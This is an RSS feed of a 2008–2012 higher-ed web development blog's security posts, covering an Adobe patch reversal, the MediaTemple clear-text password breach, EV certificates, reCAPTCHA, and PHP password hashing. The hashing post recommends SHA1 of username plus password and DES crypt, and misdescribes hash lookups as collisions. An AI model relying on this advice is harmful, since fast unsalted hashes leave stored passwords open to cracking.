<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>HighEdWebTech &#187; Security</title>
	<atom:link href="http://highedwebtech.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://highedwebtech.com</link>
	<description>Higher Ed Web Development</description>
	<lastBuildDate>Sat, 12 May 2012 17:53:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Adobe Reverses Course on Photoshop Security Patches</title>
		<link>http://highedwebtech.com/2012/05/12/adobe-reverses-course-on-photoshop-security-patches/</link>
		<comments>http://highedwebtech.com/2012/05/12/adobe-reverses-course-on-photoshop-security-patches/#comments</comments>
		<pubDate>Sat, 12 May 2012 17:53:43 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[adobe photoshop]]></category>
		<category><![CDATA[adobe security]]></category>
		<category><![CDATA[photoshop]]></category>
		<category><![CDATA[photoshop cs5]]></category>

		<guid isPermaLink="false">http://highedwebtech.com/?p=2109</guid>
		<description><![CDATA[Adobe will patch Photoshop CS5 instead of forcing users to upgrade to CS6 in order to fix security flaws found in the software. ]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-thumbnail wp-image-2111" title="SLR-Lounge-Adobe-Photoshop-CS6-Beta-Download" src="http://media.highedwebtech.com/wp-content/uploads/2012/05/SLR-Lounge-Adobe-Photoshop-CS6-Beta-Download-150x150.jpg" alt="" width="150" height="150" />I use Photoshop, literally, every single day. I have used it since version 3 when we installed it in the new media lab at Duquesne and it came out on eight 3.14&#8243; floppy disks, before it had layers. I have purchased it, beta&#8217;d version 6, and even received a copy of 5.5 last year from Adobe. Like I said, big fan.</p>
<p>So I was disheartened this past week when Adobe announced they had found a security issue in Photoshop CS5.5. The good news: they let everyone know about. The bad news: they wanted people to pay to upgrade at CS6 in order to fix the flaw, which is basically unheard of. From the security bulletin:</p>
<blockquote><p>Adobe has released Adobe Photoshop CS6 (paid upgrade), which addresses these vulnerabilities. We are in the process of resolving these vulnerabilities in Adobe Photoshop CS5.x, and will update this Security Bulletin once the patch is available.</p></blockquote>
<p>I could understand if this was a $0.99 app. Photoshop and the Creative Suite is an expensive piece of software. It&#8217;s worth every penny, but it&#8217;s an expensive upgrade, especially considering that CS5 came out in April, 2011.</p>
<p>The web, unsurprisingly, lost its collective mind about Adobe not issuing a patch for CS5, a product it still claims to support. I saw many tweets, posts and tumbles about it last night and this morning.</p>
<p>Now comes word that Adobe is changing its position and will update CS5 with a patch at an undetermined time. From their <a href="http://blogs.adobe.com/psirt/?PID=4165004">blog</a>:</p>
<blockquote><p>We are in the process of resolving the vulnerabilities addressed in these Security Bulletins in Adobe Illustrator CS5.x, Adobe Photoshop CS5.x (12.x) and Adobe Flash Professional CS5.x, and will update the respective Security Bulletins once the patches are available.</p></blockquote>
<p>The good news is that Adobe has seen the error of its ways and will issue a patch. What I wonder is how such a decision was made in the first place. If there has been a security patch for any type of software, operating system or not, it&#8217;s always been patched. Heck, even Microsoft says it will issue security patches and other fixes for Windows XP until 2014, and it came out in 2001.</p>
<p>How far up the chain of command did this idea go, and why didn&#8217;t someone along the way say &#8220;hey, people are going to freak out about this&#8221;? Now that we&#8217;re firmly in the social age, a company such as Adobe must realize that the word of something like this can spread around the globe in literally seconds.</p>
<p>tl/dr; Adobe will patch Photoshop, but at what cost to its image and reputation?</p>
]]></content:encoded>
			<wfw:commentRss>http://highedwebtech.com/2012/05/12/adobe-reverses-course-on-photoshop-security-patches/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Look Ma! I Made A Single Serving Password Generating Website</title>
		<link>http://highedwebtech.com/2010/11/08/look-ma/</link>
		<comments>http://highedwebtech.com/2010/11/08/look-ma/#comments</comments>
		<pubDate>Mon, 08 Nov 2010 14:00:54 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://highedwebtech.com/?p=1615</guid>
		<description><![CDATA[As we rollout WordPress to our campus users, I find myself needing to generate passwords for all sorts of accounts &#8211; not to mention needing passwords for the various services we use. I&#8217;ve found a few websites over the years &#8230; <a href="http://highedwebtech.com/2010/11/08/look-ma/">Continued</a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://media.highedwebtech.com/wp-content/uploads/2010/11/Screen-shot-2010-11-06-at-2.13.36-PM.png"><img src="http://media.highedwebtech.com/wp-content/uploads/2010/11/Screen-shot-2010-11-06-at-2.13.36-PM.png" alt="" title="Screen shot 2010-11-06 at 2.13.36 PM" width="555" height="282" class="aligncenter size-full wp-image-1616" /></a></p>
<p>As we rollout WordPress to our campus users, I find myself needing to generate passwords for all sorts of accounts &#8211; not to mention needing passwords for the various services we use.  </p>
<p>I&#8217;ve found a few websites over the years that I&#8217;ve used, but they&#8217;re often slow and littered with ads, which is a waste because when I&#8217;m coming to a site to get a password, chances are I&#8217;m jumping right back over to whatever app I&#8217;m working in, not clicking on your Google ads. No offense.</p>
<p>So this weekend I spent an hour and <a href="http://password.highedwebtech.com/">made my own</a>.  I wanted something that would give me a password quickly with just a few options. </p>
<p>With my Password Maker, you can select 7, 8 or 9 character passwords. If you want an even more secure password, you can also get one that includes symbols. </p>
<p>And that&#8217;s all it does. </p>
<p>Too many times I&#8217;ve written apps that seem to spiral out of control as I add more and more things to them. This time &#8211; it&#8217;s a single serving site that just generates random passwords. </p>
<p><a href="http://password.highedwebtech.com/">Try it out</a> and let me know what you think. </p>
]]></content:encoded>
			<wfw:commentRss>http://highedwebtech.com/2010/11/08/look-ma/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Never Store Your Passwords in Clear Text</title>
		<link>http://highedwebtech.com/2009/11/27/never-store-your-passwords-in-clear-text/</link>
		<comments>http://highedwebtech.com/2009/11/27/never-store-your-passwords-in-clear-text/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 16:10:24 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://highedwebtech.com/?p=943</guid>
		<description><![CDATA[In 2008, I blogged about how to work with passwords with any web app you may build. It&#8217;s been one of the more popular posts on this site, and the lessons learned in that have never been more relevant during &#8230; <a href="http://highedwebtech.com/2009/11/27/never-store-your-passwords-in-clear-text/">Continued</a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://media.highedwebtech.com/wp-content/uploads/2009/11/Thick-Type-Brass-Padlock-150x150.jpg" alt="Thick-Type-Brass-Padlock" title="Thick-Type-Brass-Padlock" width="150" height="150" class="alignright size-thumbnail wp-image-945" />In 2008, I blogged about <a href="http://highedwebtech.com/2008/04/25/season-your-passwords-with-some-salt/">how to work with passwords</a> with any web app you may build. It&#8217;s been one of the more popular posts on this site, and the lessons learned in that have never been more relevant during the course of the last few days.</p>
<p>Let&#8217;s flash back and get a bit of a primer on passwords and password storage:</p>
<blockquote><p>&#8220;&#8230;when storing passwords for your app, you have a many options. You could skip all security and store your users’ passwords in plain text in MySQL. Bad idea.&#8221;</p></blockquote>
<p>This site is hosted at MediaTemple, and for the last few months since I migrated from Dreamhost to MT, I&#8217;ve had no problems or issues. Then, last Wednesday night they sent me an email saying I should change my account manager password as my account had seen some strange activity. Never an email you want to get. It said:</p>
<blockquote><p>Dear Valued Customer,</p>
<p>    This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.</p></blockquote>
<p> Even though I was on my way to bed at the time, I logged back on and set off to figure it out.</p>
<p>My fist step was to FTP into my machine and check all the WordPress blogs I run from my (gs) service. It looked ok, and I eventually did find an injection in a static site (not WordPress.) Kind of odd, but not out of the ordinary.</p>
<p>Here&#8217;s where things get interesting.</p>
<p>I checked Twitter&#8217;s search and I quickly found I wasn&#8217;t the only one getting security notices from MediaTemple. Many people were and were understandably upset.</p>
<p>As the day wore on yesterday, news came out that MediaTemple was storing user passwords in <strong>plain, clear text</strong> in their databases. Seriously. Their database was compromised, which in turn compromised many, many customer accounts, including mine. MediaTemple had this to say:</p>
<blockquote><p>“Clear Text” is a method of storing passwords in a database so that they are human readable. This preference was made to provide customers a convenient way of managing access to their services, e.g. connecting a PHP app to MySQL. The “clear text” method can be less-secure than methods involving “encryption”, where passwords are not human-readable. This is less convenient for customers, but adds a layer of security. Properly secured databases can store passwords using either method, with the information kept private. However, if a database gets compromised, the encryption method is the only way to keep the information secure. (mt) Media Temple has now changed to the encryption method for customers, which now breaks some AccountCenter functionality; however, it is more secure and ultimately what our customers now want.</p></blockquote>
<p>The interesting phrase there is &#8220;what our customers now want.&#8221; Of course they want this after they&#8217;ve all been hacked. Securely storing passwords should have been happening from day number one. Always. No exceptions.</p>
<p>So, MT is doing <a href="http://weblog.mediatemple.net/weblog/2009/11/26/1026-gs-security-advisory/">damage control</a> and to their credit have been on Twitter since this all started, but the damage is done and the customer relationships have been strained.</p>
<p>There are lessons here to be learned, not just by web developers but by anyone that uses a website that stores a username and password, which is pretty much all of them.</p>
<p>1. Don&#8217;t store passwords in clear text. Ever. There are a myriad of ways to encrypt and store passwords. Go and read this <a href="http://highedwebtech.com/2008/04/25/season-your-passwords-with-some-salt/">blog post</a> for specific methods.</p>
<p>2. When a password needs reset, use email and a unique token to reset the password. Email the user and make them click on a link to verify its them.</p>
<p>3. If you are a user, and you are using a site that will show you your password in a &#8220;my account&#8221; area or in their administrative control panel means they are not storing your password securely. If you have credit card information stored there, good luck.</p>
<p>4. Use strong passwords. <code>password</code> is not a strong password. This is a strong password:</p>
<p><code>B;8(,4$n#</code></p>
<p>That was generated by this online <a href="http://strongpasswordgenerator.com/">strong password generator</a>. I use it when creating any type of accounts, especially for my campus users. This could be antyhing ranging from MySQL to WordPress user accounts.</p>
<p>Want to get even crazier? Use an ultra secure password. Check out this one I randomly generated:</p>
<p><code>|[<;0Rw|t>Ir[Qh|?E|M]K#JPjz?`wIY_H1K=?fs}Cb@(5$PeP4h"F)%4P9I?3i</code></p>
<p>Passwords like that I prefer for servers and other very sensitive information. Want to generate one like that? Use this <a href="https://www.grc.com/passwords.htm">site</a>.  I now have a 63 character login for my MediaTemple account, just to be safe.</p>
<p>5. If you are a MediaTemple (gs) customer, and you haven&#8217;t yet checked out your sites, I&#8217;d highly recommend you do so now.</p>
<p>Additional Reading about the MediaTemple events:</p>
<ul>
<li><a href="http://michaeltorbert.com/blog/media-temple-hacked/">Michael Torbert</a></li>
<li><a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/">DigWP</a></li>
<li><a href="http://jeffreybarke.net/2009/11/media-templewordpress-hacked/">Jeffrey Barke</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://highedwebtech.com/2009/11/27/never-store-your-passwords-in-clear-text/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress 2.6.2 and Automatic Updating</title>
		<link>http://highedwebtech.com/2008/09/09/wordpress-262-and-automatic-updating/</link>
		<comments>http://highedwebtech.com/2008/09/09/wordpress-262-and-automatic-updating/#comments</comments>
		<pubDate>Tue, 09 Sep 2008 13:23:32 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[automatic upgrade]]></category>

		<guid isPermaLink="false">http://highedwebtech.com/?p=185</guid>
		<description><![CDATA[WordPress version 2.6.2 is out, fixing a few security holes. If you haven&#8217;t already, you should upgrade your installation as soon as possible. I think I&#8217;ve mentioned it here before, but if you&#8217;re not running the Automatic Upgrade plugin, stop &#8230; <a href="http://highedwebtech.com/2008/09/09/wordpress-262-and-automatic-updating/">Continued</a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://flickr.com/photos/51035624977@N01/148031358" title="Shuttle Login Mockup"><img src="http://farm1.static.flickr.com/52/148031358_b4df83002e_s.jpg" style="float:right;padding:5px;" /></a>WordPress version 2.6.2 is out, fixing a few security holes. If you haven&#8217;t already, you should upgrade your installation as soon as possible.</p>
<p>I think I&#8217;ve mentioned it here before, but if you&#8217;re not running the <a href="http://wordpress.org/extend/plugins/wordpress-automatic-upgrade/">Automatic Upgrade</a> plugin, stop and add it to the top of your to-do list. True to it&#8217;s name, the plugin does all the work of updating your WordPress install with just a series of clicks. This is especially useful for users who may be afraid of uploading a bunch of files or perhaps don&#8217;t have FTP access to their blog.</p>
<p>From a technical perspective, the plugin does a lot of nice things on the system side. First, it gives you zip files containing your content and database backups. It&#8217;s more a just-in-case thing, but nice to have. Then, it puts your blog into a maintenance mode. That way, people aren&#8217;t leaving comments or trying to log in during the upgrade. It will also de-activate your plugins, again, to reduce the possible errors that may pop up. The plugin then gets new files from WordPress directly, updates your install, turns everything back on and asks you to clean up the cruft leftover.</p>
<p>Upgrading today took 3 minutes, which is a small price to pay to make sure your install is safe and secure.</p>
]]></content:encoded>
			<wfw:commentRss>http://highedwebtech.com/2008/09/09/wordpress-262-and-automatic-updating/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Do you have an Extended Validation Certificate?</title>
		<link>http://highedwebtech.com/2008/06/19/do-you-have-an-extended-validation-certificate/</link>
		<comments>http://highedwebtech.com/2008/06/19/do-you-have-an-extended-validation-certificate/#comments</comments>
		<pubDate>Thu, 19 Jun 2008 14:55:33 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[Firefox]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Extended Validation certificate]]></category>
		<category><![CDATA[Internet Explorer]]></category>

		<guid isPermaLink="false">http://highedwebtech.com/?p=73</guid>
		<description><![CDATA[Are you using Firefox 3? Cool, me too. See where the favicon is for this site up there in the address bar? Did you know it&#8217;s clickable? That area now presents security information about the site you are visiting. Firefox &#8230; <a href="http://highedwebtech.com/2008/06/19/do-you-have-an-extended-validation-certificate/">Continued</a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://flickr.com/photos/29831438@N00/408189016" title="it's a firefox cake!"><img src="http://farm1.static.flickr.com/132/408189016_8a21deff76_s.jpg" style="float:right;padding:5px;border:0;" /></a>Are you using Firefox 3? Cool, me too. See where the favicon is for this site up there in the address bar? Did you know it&#8217;s clickable?</p>
<p>That area now presents security information about the site you are visiting. Firefox is calling it the Site Identification Button, and it&#8217;s taking the old padlock icon to the next level. No longer will you be able to just see if the site you are visiting is secure, you&#8217;ll be able to learn more about who the site owner is. Identity will be shown via three icons.  If you see a red icon, leave the site immediately.</p>
<p><a href='http://highedwebtech.com.s67666.gridserver.com/wp-content/uploads/2008/06/2468918915_480b865e1e_o.png'><img src="http://highedwebtech.com.s67666.gridserver.com/wp-content/uploads/2008/06/2468918915_480b865e1e_o.png" alt="" title="Security Icons" width="227" height="74" class="aligncenter size-medium wp-image-74" border="0" /></a></p>
<p>The gray button says that the site doesn&#8217;t give out any identity information. The blue button shows the site you are visiting is encrypted and the domain has been verified, but the actual owner of the domain has not been identified. A green button shows the site is encrypted and the site has fully verified ownership.</p>
<p>I used this tool on one of my secure domains and here&#8217;s what it showed:</p>
<p><a href='http://highedwebtech.com.s67666.gridserver.com/wp-content/uploads/2008/06/acicon.png'><img src="http://highedwebtech.com/wp-content/uploads/2008/06/acicon-300x169.png" alt="" title="Allegheny Icon" width="300" height="169" class="aligncenter size-medium wp-image-75" border="0" /></a></p>
<p>As you can see, we haven&#8217;t (yet) put an <a href="http://en.wikipedia.org/wiki/Extended_Validation_Certificate">Extended Validation Certificate</a> into place for our site. This will complete the identity process and ensure site visitors we are who we say we are.</p>
<p>This extra certificate isn&#8217;t just for Firefox. If you have this extra certificate in place, users will also see a green address bar in Internet Explorer.</p>
<p><img src='http://www.microsoft.com/library/media/1033/windows/images/products/winfamily/ie/ev/green-address-bar-with-lege_505.gif' alt='' class='alignleft' /></p>
<p>These new EVC&#8217;s are available from a variety of vendors and it will be interesting to see how fast they are adopted and what their use rate will be in higher education. <a href="http://www.dria.org/wordpress/archives/2008/05/06/635/">Dria.org</a> has more about these certificates and the new security features of Firefox.</p>
]]></content:encoded>
			<wfw:commentRss>http://highedwebtech.com/2008/06/19/do-you-have-an-extended-validation-certificate/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exterminating Form Spam</title>
		<link>http://highedwebtech.com/2008/06/13/exterminating-form-spam/</link>
		<comments>http://highedwebtech.com/2008/06/13/exterminating-form-spam/#comments</comments>
		<pubDate>Fri, 13 Jun 2008 12:33:35 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[captcha]]></category>
		<category><![CDATA[recaptcha]]></category>
		<category><![CDATA[web application]]></category>
		<category><![CDATA[web forms]]></category>

		<guid isPermaLink="false">http://highedwebtech.com/?p=65</guid>
		<description><![CDATA[In 2005, we launched a web application for our campus that allows our users, especially those with no technical knowledge, to produce web forms. Why did we do this? Mostly, we did it because everyone always wanted a form and &#8230; <a href="http://highedwebtech.com/2008/06/13/exterminating-form-spam/">Continued</a>]]></description>
			<content:encoded><![CDATA[<p><a href='http://highedwebtech.com.s67666.gridserver.com/wp-content/uploads/2008/06/spam.jpg'><img src="http://highedwebtech.com/wp-content/uploads/2008/06/spam-300x268.jpg" alt="" title="spam" width="200" class="alignright size-medium wp-image-67" style="float:right;padding:5px;" /></a>In 2005, we launched a web application for our campus that allows our users, especially those with no technical knowledge, to produce web forms.</p>
<p>Why did we do this? Mostly, we did it because everyone always wanted a form and my group had to build them all. We had been using the ancient FormMail.pl but each receipient had to be approved and each form hand-coded with required fields. I wanted users to be able to create forms, have the results emailed to them as well as saved in a database, and  manage those forms, all without having to get the web team involved.</p>
<p>I know, web forms aren&#8217;t sexy. Not in the least, but they&#8217;re a critical part of how people communicate with us on our sites. Since it&#8217;s launch, FormBuilder (original name, I know) has really made an impact across campus. Forms are all uniform in terms of style and layout. This was a huge problem, as everyone, myself included, was building forms differently. Offices on campus can create a form in just a few minutes, email the address or post it on the web and start getting responses in minutes. These offices have seem a dramatic improvement in student responses and program attendance.</p>
<p>So FormBuilder&#8217;s been chugging along with no problems, until recently when it&#8217;s been getting hammered with spam. Not all forms are getting hit, just a lucky few. They are receving, seriously, hundreds of submissions a day. Luckily, it&#8217;s mostly gibberish and not pr0n spam, but still, it&#8217;s annoying for my users and it&#8217;s using my resources up. Not cool.</p>
<p>I wrestled for a long time with how to stop the spam. I thought about adding some kind of question that would be appended to each form, such as &#8220;What is 2+2,&#8221; or something to that effect. I thought about using code like Bad Behavior, but I don&#8217;t know if that would be easily defeated.</p>
<p>In the end, I decided to implement the dreaded CAPTCHA.</p>
<p>I looked at code to generate my own and do all the processing on my server. I struggled with getting them to be readable and getting them to fit in with the look and feel of our forms. After running into so many problems, I decided to use the <a href="http://recaptcha.net/">reCAPTCHA</a> service.</p>
<p><a href="http://recaptcha.net/">reCaptcha</a> was developed by Carnegie Mellon University, and, in addition to reducing spam, the project helps digitize books from the Internet Archive. In my eyes, that&#8217;s a win-win. ReCaptcha allows users to reload the images if they are tough to read, and they also allow for users to hear a series of numbers that they enter instead of words. Listen to the numbers sometime, it&#8217;s a little creepy.</p>
<p>ReCaptcha is being used on a great deal of large websites, including Twitter, StumbleUpon and Ticketmaster, to name but a few. I&#8217;m sure you&#8217;ve seen the red reCaptcha boxes as you&#8217;ve surfed the web.</p>
<p>Implementing reCaptcha was painless.  They offer libraries in a variety of languages and detailed instructions. I used the PHP code and it&#8217;s worked perfectly. What really drew me to the service is the fact that you can really customize the look and feel of the captcha to match your color scheme.</p>
<p>Here&#8217;s a standard reCaptcha box:</p>
<div style="text-align:center;"><img src='http://recaptcha.net/images/captchaHomePage.gif' alt='ReCaptcha' class='aligncenter' /></div>
<p>Here&#8217;s an example from one of our FormBuilder powered forms:</p>
<div style="text-align:center;"><a href='http://highedwebtech.com.s67666.gridserver.com/wp-content/uploads/2008/06/captcha.png'><img src="http://highedwebtech.com.s67666.gridserver.com/wp-content/uploads/2008/06/captcha.png" alt="A ReCaptcha example from FormBuilder at Allegheny" title="ReCaptcha FormBuilder Use" width="500" height="377" class="aligncenter size-full wp-image-66" /></a></div>
<p>Earlier this week, we rolled this out on all FormBuilder-powered forms. It was smooth and other then a  call to our computing help desk by a user who feared we&#8217;d been hacked, we haven&#8217;t heard any issues from people filling out forms or from our campus users.</p>
<p>Thus far, the spamming has stopped and only legitimate form entries are getting through. Of course, it will only be a matter of time until hackers beat ReCaptcha, and the whole cat and mouse game will start again.</p>
]]></content:encoded>
			<wfw:commentRss>http://highedwebtech.com/2008/06/13/exterminating-form-spam/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Season Your Passwords with some Salt</title>
		<link>http://highedwebtech.com/2008/04/25/season-your-passwords-with-some-salt/</link>
		<comments>http://highedwebtech.com/2008/04/25/season-your-passwords-with-some-salt/#comments</comments>
		<pubDate>Fri, 25 Apr 2008 13:44:08 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[encryption algorithm]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[server software]]></category>
		<category><![CDATA[through whatever algorithm]]></category>
		<category><![CDATA[Unix DES-based encryption algorithm]]></category>
		<category><![CDATA[Web App]]></category>

		<guid isPermaLink="false">http://highedwebtech.com/?p=39</guid>
		<description><![CDATA[Let&#8217;s say you&#8217;re building a big new web app at your institution. One of the parts of this application will be storing usernames and passwords. There are a ton of ways to do this, but today I want to share &#8230; <a href="http://highedwebtech.com/2008/04/25/season-your-passwords-with-some-salt/">Continued</a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://flickr.com/photos/68634595@N00/101471354" title="Measure of Security"><img src="http://farm1.static.flickr.com/26/101471354_4d7e293800_t.jpg" style="float:right;padding:10px;"/></a>Let&#8217;s say you&#8217;re building a big new web app at your institution. One of the parts of this application will be storing usernames and passwords. There are a ton of ways to do this, but today I want to share with you one way that I do things, in the hopes of making my logins as secure as possible. For our examples today, we&#8217;ll be using PHP.</p>
<div style="float:right;width:300px;padding:5px;"><script type="text/javascript"><!--
google_ad_client = "ca-pub-0836409843308249";
/* 300x250, created 10/8/09 */
google_ad_slot = "3041775900";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div>
<p>Before I get going too far, I should mention that when I say storing passwords, what we&#8217;re really doing is storing a <a href="http://en.wikipedia.org/wiki/Cryptographic_hash_function">hash</a> of the user&#8217;s password. When we authenticate a user, we run the password they supply through whatever algorithm we&#8217;re using to encrypt and hash their input and we compare the result to what we&#8217;re storing in our database.</p>
<p>That being said, when storing passwords for your app, you have a many options. You could skip all security and store your users&#8217; passwords in plain text in MySQL. Bad idea. You could use MySQL&#8217;s default password functionality. This is okay, but you could do things better.</p>
<p>For the rest of this post, let&#8217;s create a password variable, $pass. For all the examples, let&#8217;s set the value of $pass as &#8220;highedwebtech1&#8243;.</p>
<p>Let&#8217;s look at what&#8217;s generated when we pass the $pass variable through <a href="http://en.wikipedia.org/wiki/MD5">MD5</a>.</p>
<p><code>echo md5($pass);</code></p>
<p>That gives us the following hash:</p>
<p><code>4fc86b20556f29a3291b5fb296189eff</code></p>
<p>That&#8217;s not a terrible way to store a password, but there&#8217;s been research for the last couple of years that its possible to create MD5 collisions &#8211; where you generate lists and lists of MD5 hashes and look for matches. For example, <a href="http://passcracking.com/">this site</a> will look up your MD5 hashes and check for collisions.</p>
<p>Well, we could use SHA1 to encode the password.  Let&#8217;s run our $pass variable through SHA1:</p>
<p><code>echo sha1($pass);</code></p>
<p>That gives this:</p>
<p><code>1f046ee5bdacf0842729674034e5d1cf8c3ce512</code></p>
<p>Getting better. But &#8211; SHA1&#8242;s <a href="http://www.schneier.com/blog/archives/2005/02/sha1_broken.html">been broken</a> as well. The chances of your user accounts being brute-forced by someone running SHA1 collisions is very minute, but let&#8217;s keep searching for something better.</p>
<p>Let&#8217;s do some crazy hashing and mashing. Let&#8217;s look at PHP&#8217;s crypt function.</p>
<blockquote><p>crypt() will return an encrypted string using the standard Unix DES-based encryption algorithm or alternative algorithms that may be available on the system.</p></blockquote>
<p>If we run the following code:</p>
<p><code>echo crypt($pass);</code></p>
<p>We get the following:</p>
<p><code>12sO.2eqklceI</code></p>
<p>crypt() also allows you to add a salt. Wikipedia describes a <a href="http://en.wikipedia.org/wiki/Salt_%28cryptography%29">salt</a> thusly: &#8220;a salt comprises random bits that are used as one of the inputs to a key derivation function.&#8221; This basically means we can specify some characters that will become part of our encryption scheme.</p>
<p>Let&#8217;s create a $salt variable.  We&#8217;ll give $salt a value of, for now, &#8220;yummysalt&#8221;.</p>
<p>Let&#8217;s run crypt() again but this time we&#8217;ll specify a specific salt. The system I&#8217;m running this on in these examples is using standard DES as its encryption.</p>
<p><code>echo crypt($pass,$salt);</code></p>
<p>This returns:</p>
<p><code>yupJSdhPX0e66</code></p>
<p>Standard DES puts the first 2 characters of the salt at the beginning of the hash of the password. If we use &#8220;yummysalt&#8221; as our salt (footnote &#8211; DES only uses the first 2 characters, we could have just made our salt &#8220;yu&#8221;), every time we run our password through crypt we will get the same value. The number of characters in your salt can depend on your system settings, including values in PHP and your server software.</p>
<p>Specifying a salt isn&#8217;t a bad thing to do, but you&#8217;ve got to now store that salt somewhere in your code. If your system is compromised, and with your salt, cracking passwords may be a little easier for your user passwords to be cracked.</p>
<p>If you&#8217;re sensing a theme here, you&#8217;d be right. DES is also susceptible to cracking, even when using a salt.</p>
<p>So, what&#8217;s a way to do it thats secure and has little chance of getting cracked? There are a lot of different ways to answer that question, but here&#8217;s some ideas I had, along with some help from a friend, who&#8217;s a security professional at a major research institution.</p>
<p>He recommends using something like the following, which is based on the username and password responses we receive from the user.</p>
<p><code>$username = "user1";<br />
$password = "highedwebtech1";</p>
<p>echo sha1($username.$password);</code></p>
<p>In the code above, we&#8217;re creating a hash from a concatenation of the username and the password they enter. But, Mike, you say, a few paragraphs earlier you said SHA1 wasn&#8217;t the best choice. In this case though, we&#8217;re not hashing just the password. We&#8217;re hashing an entirely new value, in this case, <code>user1highedwebtech1</code>. That would be much more difficult to crack, especially using a brute-force attack. Here&#8217;s the hash value we get back from this function:</p>
<p><code>033e1ce0e67fce92ddf5cdf437d15b9967f4b307</code></p>
<p>It&#8217;s long, and difficult to crack. When it comes time for a user to log in, checking against what they enter is easy. Just put the two values together, run it through SHA1 and then compare that to the value we originally stored in the database.</p>
<p>It should also go without saying that you should never email a user&#8217;s password to them. Either send them a replacement, temporary password or make them reset it altogether by emailing them a link with a hashed value they need to reproduce. But that&#8217;s a whole other post.</p>
<p>Want to learn more about doing this stuff in PHP? I&#8217;d recommend reading about about the <a href="http://us.php.net/mcrypt">mcrypt</a> module. It offers a great deal of additional functionality.</p>
<p>Happy hashing!</p>
<p>What tips or tricks do you use when it comes to handling passwords? I&#8217;d like to learn how you deal with this issue.</p>
]]></content:encoded>
			<wfw:commentRss>http://highedwebtech.com/2008/04/25/season-your-passwords-with-some-salt/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Do you control your web server?</title>
		<link>http://highedwebtech.com/2008/04/09/do-you-control-your-web-server/</link>
		<comments>http://highedwebtech.com/2008/04/09/do-you-control-your-web-server/#comments</comments>
		<pubDate>Wed, 09 Apr 2008 16:03:26 +0000</pubDate>
		<dc:creator>Mike</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://highedwebtech.com/?p=33</guid>
		<description><![CDATA[I noticed this tweet today by Kyle James saying his web team needs control of his webserver. I&#8217;m curious about server access at various institutions. At our institution, the server is under the management of our technical services team. They &#8230; <a href="http://highedwebtech.com/2008/04/09/do-you-control-your-web-server/">Continued</a>]]></description>
			<content:encoded><![CDATA[<p>I noticed <a href="http://twitter.com/jameskm03/statuses/785816512">this tweet</a> today by Kyle James saying his web team needs control of his webserver. I&#8217;m curious about server access at various institutions.</p>
<p>At our institution, the server is under the management of our technical services team. They manage backups, patches, updates, and monitor the health of the server. I&#8217;m responsible for the site, and any software that I install on there, like custom web apps that our team develops. Our team in Public Affairs manages content, design and everything public facing.</p>
<p>I have root access to our web server. I imagine that&#8217;s uncommon but I have a good working relationship with our technical team and the necessary technical knowledge to know what I&#8217;m doing and not break stuff.</p>
<p>What&#8217;s your setup &#8211; and what kind of access do you have?</p>
]]></content:encoded>
			<wfw:commentRss>http://highedwebtech.com/2008/04/09/do-you-control-your-web-server/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Firefox Add-Ons I Use</title>
		<link>http://highedwebtech.com/2008/04/03/firefox-add-ons-i-use/</link>
